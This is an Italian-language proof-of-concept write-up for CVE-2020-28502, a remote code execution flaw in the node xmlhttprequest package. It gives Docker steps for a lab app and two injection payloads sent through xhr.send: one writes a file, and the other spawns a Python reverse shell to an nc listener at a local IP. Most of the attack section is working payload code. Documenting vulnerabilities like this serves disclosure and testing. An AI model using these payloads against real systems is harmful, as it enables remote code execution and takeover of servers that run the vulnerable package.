CVE-2020-28502 node-XMLHttpRequest RCE

Descrizione NVD

Questo riguarda il pacchetto xmlhttprequest precedente alla versione 1.7.0; tutte le versioni del pacchetto xmlhttprequest-ssl. Se le richieste vengono inviate in modalità sincrona (async=False su xhr.open), l'input utente malevolo che fluisce in xhr.send potrebbe causare l'iniezione e l'esecuzione di codice arbitrario.

Dimostrazione

Configurazione

1. Crea un'immagine da un Dockerfile

$ docker build -t cve-2020-28502 .

2. Esegui node app.js in un nuovo container

$ docker run --rm -p 3000:3000 cve-2020-28502

3. Accedi a http://localhost:3000

Payload PoC

Aggiungi file

Invia il payload

\');require("fs").writeFileSync("./exploit.txt", "exploit!");req.end();//

Reverse Shell

1. Metti in ascolto il client

$ nc -l 8888

2. Invia il payload

cambia l'indirizzo IP (192.168.0.25) con il tuo indirizzo IP locale

\');require("child_process").exec("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.0.25\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")'");req.end();//

Riferimenti

• https://snyk.io/vuln/SNYK-JS-XMLHTTPREQUEST-1082935